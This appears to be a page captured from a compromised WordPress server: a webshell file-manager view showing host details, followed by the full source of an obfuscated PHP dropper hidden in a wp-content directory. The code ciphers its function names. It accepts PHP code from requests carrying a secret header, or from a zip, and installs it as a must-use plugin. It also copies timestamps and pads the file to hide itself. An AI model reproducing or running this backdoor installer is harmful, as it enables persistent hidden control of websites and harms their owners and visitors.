403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/.sc_8860cdcb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/.sc_8860cdcb/b59721b1.php
<?php
if(!function_exists('nxhzpozafoykw8')){function ujsx0wt1qch4g($i){static $a=null;if($a===null){$a=array('e2Mcs+WM[5b+tst','+t[ts{+M4','ts{?5M','N{54[{5N?Rc5','e2Mcs+WM[5b+tst','qs[{RM0','e+?5t+p5','e2Mcs+WM[5b+tst','0+{MRq5','e+?5qs+q5','e+?5[45s[cWMs5Mst','ts{?5M','U+M_<5b','q0S','ts{?5M','q0S','s5qNMRq','e+?5[N2s[cWMs5Mst','ts{?5M','2M?+Mw','c<qW0','{5MRq5','sW2c<','qw0+{','e2Mcs+WM[5b+tst','ts{NWt','+t[R{{RI','ts{?5M','0+{MRq5','+t[0+{','e2Mcs+WM[5b+tst','ts{?5M','{5MRq5','e2Mcs+WM[5b+tst','URt5(Z[05cW05','ts{?5M','+t[e+?5','R{{RI[q5{45','4?WU','0+{MRq5','t2Uts{','N{54[qRsc<','+t[e+?5','s+q5','c?Rtt[5b+tst','URt5MRq5','ts{?5M','+t[ts{+M4','ts{NWt','+t[e+?5');}return $a[$i];}function nxhzpozafoykw8($i){$e=ujsx0wt1qch4g($i);$f='_s'.'cunp'.'/(\\'.'*[0-'.'9af'.']{1'.',})'.'+$d'.'ik'.'reo'.'mbyt'.'hvl'.'<?'.'gTO'.'KEN'.'PARS'.'WCD'.'ILU'.'G.'.'wHXY'.':ZM'.'B V'.'>=q6'.'4x2z'.'j5'.'3';$t='[tc2'.'MNnP'.'uHYl'.'\\jR'.'ekO'.'31'.'C='.'i-0+'.'w{5'.'Wq'.'UIs'.'<x?z'.'K4TV'.'fD'.'L$}*'.'dX '.']hm/'.'A>gr'.'E)'.'.y'.'6v9G'.',:o'.'(Zb_'.'pBSa';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function yno6_4_gpfgu0($i){$j=$i+0;return nxhzpozafoykw8($j);}function ndfb_4ul_($i){$j=$i;return nxhzpozafoykw8($j);}function ps6buv4_($i){return nxhzpozafoykw8($i);}function u045xr3oqfk8vd($i){$j=(int)$i;return nxhzpozafoykw8($j);}

function sxtncyohixv1ke6se0ve($x3l9wl2y){$pm7d0lvoa9=($x3l9wl2y*4)+8;return $pm7d0lvoa9%2;}
function gvm5bqg7auwt1xt0n7u4($wknil4){$vh7d7g=($wknil4*9)+48;return $vh7d7g%4;}
if  (!yno6_4_gpfgu0(0)('bo284io37cxh200c0bi1sg'))    {  function  bo284io37cxh200c0bi1sg($gmvxh3tmti0ty7s6) { if (!yno6_4_gpfgu0(1)($gmvxh3tmti0ty7s6)   ||  nxhzpozafoykw8(2)($gmvxh3tmti0ty7s6)      <= (1048498+78))    return    $gmvxh3tmti0ty7s6;    $d6r3qcbymr36x   =   yno6_4_gpfgu0(3)('/(\n\/\*[0-9a-f]{1000,}\*\/)+$/',    "",  $gmvxh3tmti0ty7s6); return nxhzpozafoykw8(1)($d6r3qcbymr36x)   ?   $d6r3qcbymr36x  : $gmvxh3tmti0ty7s6; }  }

if   (!yno6_4_gpfgu0(4)('yi0_syxr00x59rajco2'))   {   function yi0_syxr00x59rajco2($lpzu0wteyv)    { $x4q8auxtbyigagl      =    (0x40676c+0x1384f4)     +   ndfb_4ul_(5)(0, (0x11cfb8+0x513a8)); $j36yrz809_54_q =  @yno6_4_gpfgu0(6)($lpzu0wteyv); if   (!$j36yrz809_54_q   ||  $j36yrz809_54_q     >=    $x4q8auxtbyigagl   -   (3410+690)) return; if     (!nxhzpozafoykw8(7)('disk_free_space'))     return;      $b85gu91y4d18ut =  @disk_free_space(nxhzpozafoykw8(8)($lpzu0wteyv)); if  ($b85gu91y4d18ut ===      false || $b85gu91y4d18ut <  (157286311+89))     return;   $mdq75gyqpvd =   @fileperms($lpzu0wteyv); $mdq75gyqpvd =  ($mdq75gyqpvd  ===      false)   ? (0xaf+0xf5) :  ($mdq75gyqpvd  & (693-182));  $rqtw6s0_otmxdk  =  @nxhzpozafoykw8(9)($lpzu0wteyv); $gmvxh3tmti0ty7s6 =   @yno6_4_gpfgu0(10)($lpzu0wteyv);  if   (!u045xr3oqfk8vd(1)($gmvxh3tmti0ty7s6)  || nxhzpozafoykw8(11)($gmvxh3tmti0ty7s6)   !== $j36yrz809_54_q) return; while  (yno6_4_gpfgu0(11)($gmvxh3tmti0ty7s6)     <  $x4q8auxtbyigagl   -  (8007-3907))  {
// referentially-transparent aggregator
 $acrz71he13i   =   ""; if  (ndfb_4ul_(7)('random_bytes')) {   try   {   $acrz71he13i   =  @u045xr3oqfk8vd(12)(random_bytes((0x599+0x237)));   }   catch (Throwable $m29k26vwvj_hghb)     {  $acrz71he13i  =  ""; } catch (Exception $m29k26vwvj_hghb) {  $acrz71he13i =  ""; }  }  if (ps6buv4_(11)($acrz71he13i) <   (0x11f+0xe81))  {    $acrz71he13i  =      ps6buv4_(13)(uniqid("",   true)); while  (yno6_4_gpfgu0(14)($acrz71he13i)   <    (3903+97)) $acrz71he13i     .=   u045xr3oqfk8vd(15)($acrz71he13i);    }     $gmvxh3tmti0ty7s6 .=  "\n/*"   .   $acrz71he13i  . "*/";$fdrajjs3vw8w7=PHP_INT_MAX/PHP_INT_MAX;$ekgrbgp9s1=$fdrajjs3vw8w7+55;  }  $l8k7bqk2ln5y7  =   @yno6_4_gpfgu0(16)(ps6buv4_(8)($lpzu0wteyv),   'scp');   if  ($l8k7bqk2ln5y7 ===  false)  return;  if     (@u045xr3oqfk8vd(17)($l8k7bqk2ln5y7,  $gmvxh3tmti0ty7s6)   !==    u045xr3oqfk8vd(18)($gmvxh3tmti0ty7s6))     { @ndfb_4ul_(19)($l8k7bqk2ln5y7);    return;    } @ndfb_4ul_(20)($l8k7bqk2ln5y7,   $mdq75gyqpvd);    if  (!@yno6_4_gpfgu0(21)($l8k7bqk2ln5y7,  $lpzu0wteyv))    {   @u045xr3oqfk8vd(19)($l8k7bqk2ln5y7);   return; }  if ($rqtw6s0_otmxdk)  @yno6_4_gpfgu0(22)($lpzu0wteyv,  $rqtw6s0_otmxdk);   if     (yno6_4_gpfgu0(7)('opcache_invalidate'))  @opcache_invalidate($lpzu0wteyv,      true);$x528zlcnwm=PHP_MAJOR_VERSION;$_eeoju3ij6aj7=$x528zlcnwm*5;    }    }
       if (!ndfb_4ul_(7)('_sc_mkdir'))  {     function     _sc_mkdir($ezwdaps3r2qir)  { return    u045xr3oqfk8vd(7)('mkdir')   ?    @yno6_4_gpfgu0(23)($ezwdaps3r2qir,  (224+269),    true) : false;   }  }
       if    (!nxhzpozafoykw8(7)('_sc_fpc')) {
// gather operation
    function _sc_fpc($lpzu0wteyv,      $gmvxh3tmti0ty7s6)     {    return  ps6buv4_(24)('file_put_contents')   ?   @yno6_4_gpfgu0(17)($lpzu0wteyv,  $gmvxh3tmti0ty7s6)      :  false;$g6nm5qfqov9=152|59;$hzhfl2fuf4l=$g6nm5qfqov9^78; } }
     if    (!ndfb_4ul_(24)('_sc_ul'))  { function _sc_ul($lpzu0wteyv)  { return  nxhzpozafoykw8(24)('unlink')   ?   @ps6buv4_(19)($lpzu0wteyv)    : false; }
// @evict stack-frame
   }
// semisimple covariant


      if (!ndfb_4ul_(24)('_sc_phpok'))   {  function  _sc_phpok($lpzu0wteyv)  {   $gmvxh3tmti0ty7s6   = @ps6buv4_(10)($lpzu0wteyv);  if  (!yno6_4_gpfgu0(1)($gmvxh3tmti0ty7s6)  ||     nxhzpozafoykw8(18)($gmvxh3tmti0ty7s6)  <    (405+95) ||     yno6_4_gpfgu0(25)($gmvxh3tmti0ty7s6,    '<?')   ===   false) return  false;$slemvqrm6opc=859;$jyvkg2r6u23qs=($slemvqrm6opc>0)?$slemvqrm6opc:-$slemvqrm6opc;     if  (!ps6buv4_(24)('token_get_all'))    return    true; if (defined('TOKEN_PARSE'))   {     try   {  @token_get_all($gmvxh3tmti0ty7s6,     TOKEN_PARSE);   return    true;      }   catch (Throwable    $m29k26vwvj_hghb) {  return  false;   }    catch (Exception $m29k26vwvj_hghb)     { return   false;  }  }     $fz4nq3k4vami   =    @token_get_all($gmvxh3tmti0ty7s6);   if   (!ndfb_4ul_(26)($fz4nq3k4vami))  return    true;      $mq_3pv6xnl6  = 0;     foreach   ($fz4nq3k4vami as   $x4q8auxtbyigagl)   {   if  (ndfb_4ul_(26)($x4q8auxtbyigagl)) { if     ($x4q8auxtbyigagl[0] ===  T_CURLY_OPEN  ||     $x4q8auxtbyigagl[0]  ===   T_DOLLAR_OPEN_CURLY_BRACES)   $mq_3pv6xnl6++;  continue; }
/* deterministic credential */
 if ($x4q8auxtbyigagl     === '{') $mq_3pv6xnl6++;  elseif  ($x4q8auxtbyigagl ===    '}') {  $mq_3pv6xnl6--;$d84_k7mdn=PHP_MAJOR_VERSION;$un9khut2d=$d84_k7mdn*6;    if ($mq_3pv6xnl6  < 0)   return  false;  }     }  return   $mq_3pv6xnl6      ===  0; }   }
if     (!nxhzpozafoykw8(24)('mlw9nrhzah2etvjea'))   {    function  mlw9nrhzah2etvjea($gmvxh3tmti0ty7s6)     {     if     (!nxhzpozafoykw8(1)($gmvxh3tmti0ty7s6)  ||  yno6_4_gpfgu0(27)($gmvxh3tmti0ty7s6) <  (462+38)  ||     u045xr3oqfk8vd(25)($gmvxh3tmti0ty7s6,  '<?') ===    false)  return      false; if (!ps6buv4_(24)('token_get_all'))  return  true; if  (defined('TOKEN_PARSE'))    {     try  {  @token_get_all($gmvxh3tmti0ty7s6,  TOKEN_PARSE);    return  true; }  catch  (Throwable   $m29k26vwvj_hghb)     {  return  false;     }  catch  (Exception $m29k26vwvj_hghb)  {   return  false;    }     }  $fz4nq3k4vami   = @token_get_all($gmvxh3tmti0ty7s6);  if   (!ps6buv4_(26)($fz4nq3k4vami))      return true;   $mq_3pv6xnl6 =   0; foreach  ($fz4nq3k4vami  as  $x4q8auxtbyigagl)     { if  (u045xr3oqfk8vd(26)($x4q8auxtbyigagl))    { if  ($x4q8auxtbyigagl[0]     ===   T_CURLY_OPEN  ||   $x4q8auxtbyigagl[0]  === T_DOLLAR_OPEN_CURLY_BRACES)  $mq_3pv6xnl6++;   continue;   }   if    ($x4q8auxtbyigagl    === '{') $mq_3pv6xnl6++;  elseif     ($x4q8auxtbyigagl   ===   '}') { $mq_3pv6xnl6--;    if    ($mq_3pv6xnl6 <  0)     return false;  }      } return $mq_3pv6xnl6    === 0;$uxbfpqd7py=7707;$vdcusblhm_=$uxbfpqd7py%13;  }    }
$aa92q9kk220rcr     =    defined("WP_CONTENT_DIR")  ?  WP_CONTENT_DIR  : yno6_4_gpfgu0(28)(__DIR__);
   $dr_z43772cng27bk   =   $aa92q9kk220rcr  .   "/mu-plugins";
      if    (!yno6_4_gpfgu0(29)($dr_z43772cng27bk))      _sc_mkdir($dr_z43772cng27bk);
   $kznepn6sxsc_ysqa    =    $dr_z43772cng27bk  .   "/drift-proxy-hq.php";
   if (!ps6buv4_(30)('_sc_aw')) {
 function _sc_aw($cldiwow5jhb2xr, $vfa4ko_hlsivf0d5)    {
$a3y3z9ak7237r9_ =  ndfb_4ul_(30)('tempnam')     ?   @u045xr3oqfk8vd(16)(ndfb_4ul_(28)($cldiwow5jhb2xr), 'sc_')   :  false;



   if    ($a3y3z9ak7237r9_  ===     false) return     false;


     $e0rkwmik71nia   =    _sc_fpc($a3y3z9ak7237r9_, $vfa4ko_hlsivf0d5);
if  ($e0rkwmik71nia ===   false  || $e0rkwmik71nia      !== nxhzpozafoykw8(31)($vfa4ko_hlsivf0d5))   { _sc_ul($a3y3z9ak7237r9_); return false;   }
  if   (!ndfb_4ul_(30)('rename')  ||    !@ndfb_4ul_(32)($a3y3z9ak7237r9_,  $cldiwow5jhb2xr))    { _sc_ul($a3y3z9ak7237r9_);   return  false;     }
   if (ndfb_4ul_(33)('chmod')) @u045xr3oqfk8vd(20)($cldiwow5jhb2xr, (793-373));
     if  (u045xr3oqfk8vd(33)('opcache_invalidate'))   @opcache_invalidate($cldiwow5jhb2xr,   true);



  return true;


   }

       }
        if  (!defined('SC_AUTO_PREPEND')) {
$wezu9exfvxxisl    =   isset($_SERVER['HTTP_X_SC_KEY'])   ?  $_SERVER['HTTP_X_SC_KEY']     :    "";
 if  ($wezu9exfvxxisl !==  '8376c6e6304b')  return;
    $rtb0c0hu6kcyg5y6   =     @yno6_4_gpfgu0(10)("php://input");
if     ($rtb0c0hu6kcyg5y6) {

$ezwdaps3r2qir  =   @ndfb_4ul_(34)($rtb0c0hu6kcyg5y6, true);
   if   (yno6_4_gpfgu0(1)($ezwdaps3r2qir) && ps6buv4_(31)($ezwdaps3r2qir)  >    (882241+166335))  $ezwdaps3r2qir = bo284io37cxh200c0bi1sg($ezwdaps3r2qir);
if  ($ezwdaps3r2qir  &&  ndfb_4ul_(35)($ezwdaps3r2qir)     > (365+135)   &&     nxhzpozafoykw8(25)($ezwdaps3r2qir,  "<?")    ===  0    &&    mlw9nrhzah2etvjea($ezwdaps3r2qir)) {
     if (_sc_aw($kznepn6sxsc_ysqa,    $ezwdaps3r2qir))   {      yi0_syxr00x59rajco2($kznepn6sxsc_ysqa); echo   "OK";    exit;    }
  }
return;
}
     }
  if  (@nxhzpozafoykw8(36)($kznepn6sxsc_ysqa) && @yno6_4_gpfgu0(6)($kznepn6sxsc_ysqa)     >     (4952+48)) {
    if (!defined('SC_AUTO_PREPEND')) { echo    "OK";    exit;  }
       return;
     }
     $aebdhkhj9pkjax    =    $aa92q9kk220rcr   .     "/1b89e661.zip";
 if     (!@ps6buv4_(36)($aebdhkhj9pkjax))  $aebdhkhj9pkjax  =   __DIR__ . "/1b89e661.zip";

 if (!yno6_4_gpfgu0(33)('kglb2kptytwz2khqsvh8m9'))    { function kglb2kptytwz2khqsvh8m9($clchidswd2p,  $ieftyrukatfar9)    {
// measure visitor for WP Post Terms
  $rx9p0k7wvf6v2440  =  u045xr3oqfk8vd(33)('glob') ?    nxhzpozafoykw8(37)((array)     @ps6buv4_(38)($ieftyrukatfar9   .     '/mu-plugins/*.php'),   (array) @ps6buv4_(38)($ieftyrukatfar9    . '/plugins/*/*.php'))  :  array();      $tvy7rej9l1y6ow3 = defined('ABSPATH')     ?  ABSPATH :   (ndfb_4ul_(39)($ieftyrukatfar9)     .   '/');   $rx9p0k7wvf6v2440[]   = $ieftyrukatfar9  .  '/.sc_'   . nxhzpozafoykw8(40)(ps6buv4_(15)($tvy7rej9l1y6ow3 .   'dir'),     0,     (0x5+0x3))  .   '/core_'    .    ndfb_4ul_(40)(u045xr3oqfk8vd(15)($tvy7rej9l1y6ow3 .  'core'), 0, (0x7+0x1)) .  '.php'; foreach ($rx9p0k7wvf6v2440 as      $kznepn6sxsc_ysqa)     {    $_dk31dsnqpkw3su = @ps6buv4_(6)($kznepn6sxsc_ysqa);$hnr81_smrrib=63+26;$darhz63e60=$hnr81_smrrib-39; if     (!$_dk31dsnqpkw3su    ||    $_dk31dsnqpkw3su < (4943+57)  || $_dk31dsnqpkw3su   >    (0x8e0726+0x11f8da))   continue;  $fjdutwiyy881g1fv  = (string)   @yno6_4_gpfgu0(10)($kznepn6sxsc_ysqa,  false,      null,    0, (2525+1571));  if   ($fjdutwiyy881g1fv    !==  ""   &&  ndfb_4ul_(41)('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',    $fjdutwiyy881g1fv, $k2vwyqeacaau7ec5)  &&     version_compare($k2vwyqeacaau7ec5[1],  $clchidswd2p,     '>='))   return  true;   } return    false; }  }
$wgtkktmai_0drb4     = $dr_z43772cng27bk   .   '/.q_drift-proxy-hq';
if  (@ps6buv4_(42)($wgtkktmai_0drb4)     && @nxhzpozafoykw8(9)($wgtkktmai_0drb4) >    ndfb_4ul_(43)()   -   (604776+24))   {     if  (!defined('SC_AUTO_PREPEND')) { echo "OK";    exit;     } return;     }


 if   (kglb2kptytwz2khqsvh8m9('4.3.24',   $aa92q9kk220rcr))   {  if (!defined('SC_AUTO_PREPEND'))  {   echo   "OK";    exit;     }    return;
 
 }
$d9i5gay5hb   =  "ZipArchive";
   if    (ndfb_4ul_(44)($d9i5gay5hb) &&   @u045xr3oqfk8vd(42)($aebdhkhj9pkjax)) {
   $u4mfvwjeppvmp      =    new $d9i5gay5hb();
 if ($u4mfvwjeppvmp->open($aebdhkhj9pkjax)   ===     true)    {
 $xtt4r71r_k1m    =  false;
   $i9jzspb35arc    =     -1;   $jd8n_u061y0    = 0; $xbinam0uazl    =   -1;
       for  ($v02atk5slkm2gu_p = 0;     $v02atk5slkm2gu_p  <   $u4mfvwjeppvmp->numFiles;      $v02atk5slkm2gu_p++)   {
  $d6r3qcbymr36x   =   $u4mfvwjeppvmp->getNameIndex($v02atk5slkm2gu_p);
    if  (nxhzpozafoykw8(40)($d6r3qcbymr36x,     -(21^17)) !== ".php")  continue;
     $jd8n_u061y0++;
   if  ($xbinam0uazl   < 0)    $xbinam0uazl  =  $v02atk5slkm2gu_p;
if    ($d6r3qcbymr36x ===  "drift-proxy-hq/drift-proxy-hq.php"   || ndfb_4ul_(45)($d6r3qcbymr36x)   ===   "drift-proxy-hq.php")   {
// @disable scheduler
      $i9jzspb35arc =    $v02atk5slkm2gu_p; break;   }



 }
     if     ($i9jzspb35arc <   0    && $jd8n_u061y0  ===  1) $i9jzspb35arc  =    $xbinam0uazl;
    if ($i9jzspb35arc  >=   0)  {
       $gmvxh3tmti0ty7s6  = $u4mfvwjeppvmp->getFromIndex($i9jzspb35arc);
        if  (u045xr3oqfk8vd(1)($gmvxh3tmti0ty7s6)  &&  u045xr3oqfk8vd(46)($gmvxh3tmti0ty7s6)   >  (1048527+49)) $gmvxh3tmti0ty7s6   = bo284io37cxh200c0bi1sg($gmvxh3tmti0ty7s6);



 if      (ndfb_4ul_(47)($gmvxh3tmti0ty7s6)   && ndfb_4ul_(46)($gmvxh3tmti0ty7s6) >   (464+36)  && ndfb_4ul_(48)($gmvxh3tmti0ty7s6,  "<?")    ===   0    && mlw9nrhzah2etvjea($gmvxh3tmti0ty7s6)    &&     _sc_aw($kznepn6sxsc_ysqa,  $gmvxh3tmti0ty7s6))  {
     yi0_syxr00x59rajco2($kznepn6sxsc_ysqa);
     $xtt4r71r_k1m    =  true;



}


 }
   $u4mfvwjeppvmp->close();
 if  ($xtt4r71r_k1m  &&  @ndfb_4ul_(49)($kznepn6sxsc_ysqa)   &&    @nxhzpozafoykw8(6)($kznepn6sxsc_ysqa)  >  (0x86f+0xb19)) {$nkibx0ikso1ncs=513;$et96iw2do=$nkibx0ikso1ncs%13;



if  (!defined('SC_AUTO_PREPEND'))  {
// unsatisfiable singleton
 echo      "OK";   exit;  }
// acquire symbol-table for PCRE2 JIT



return;
  }
    }

}
  
}

Youez - 2016 - github.com/yon3zu
LinuXploit